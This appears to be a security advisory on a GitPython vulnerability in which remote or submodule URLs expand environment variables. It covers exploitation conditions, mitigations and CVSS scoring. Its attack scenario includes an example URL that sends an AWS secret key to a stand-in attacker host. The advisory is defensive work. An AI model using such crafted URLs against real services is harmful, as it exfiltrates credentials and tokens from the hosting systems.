GitPython CVE-2026-73622

Exploitation requires three concurrent conditions: (1) the target application runs GitPython 3.1.53 or earlier and calls Repo.create_remote(), Remote.add(), or Submodule.add() with an attacker-influenced URL - common in platforms that allow users to register remote repositories, import submodules, or configure Git integrations; (2) the hosting process has sensitive values set as environment variables (cloud credentials, database URLs, API tokens) at the time URL processing occurs; and (3) the application subsequently performs a fetch or pull against the newly created remote, transmitting the expanded URL to the attacker's host. Exploitation is blocked if the application validates or allowlists remote URLs before passing them to GitPython, if no sensitive environment variables are present in the GitPython process, or if network egress to unexpected external hosts is restricted. No elevated privileges on the target system are required of the attacker - only the ability to supply a crafted URL string to the vulnerable API entry point via the application's normal interface.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N) scores 8.7, reflecting high confidentiality impact with no special attack prerequisites - appropriate for deployments where applications accept user-supplied remote URLs without authentication or input validation. The PR:N rating is context-sensitive: it accurately applies when external users can supply arbitrary remote URLs to a GitPython-backed service, but in tighter pipelines where URL input is restricted to authenticated operators, effective privilege requirements are higher than the base vector implies. EPSS data was not included in the available intelligence, so population-level exploitation probability cannot be quantified from the supplied signals. The vulnerability is not in CISA KEV, but the threat model - silently exfiltrating cloud credentials, database connection strings, or API tokens from CI/CD runners - is a high-value target for financially motivated actors, meaning even a mid-sized municipal IT team in inowroclaw running a self-hosted GitLab or Gitea pipeline backed by GitPython should treat this as urgent given the zero-friction path from crafted URL to credential theft. The GHSA advisory includes detailed reproduction steps, substantially lowering the exploitation skill bar. Scope is unchanged: secrets leave the compromised host but no remote code execution or lateral movement is directly enabled by this primitive alone, and integrity and availability are unaffected.

An attacker targeting a self-hosted GitOps platform or CI/CD pipeline that permits users to register remote repository URLs crafts a URL embedding shell variable tokens - for example https://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git - and submits it as the URL for a new remote or submodule. The GitPython-backed application calls Remote.create() or Submodule.add(), causing polish_url() to expand the token against the hosting process's live environment and write the resolved secret-bearing URL to .git/config or .gitmodules. On the next scheduled fetch or pull, the Git client connects to the attacker's server using the expanded URL, completing credential exfiltration with no further attacker interaction; the GHSA advisory provides step-by-step reproduction instructions that make this path accessible to moderately skilled attackers.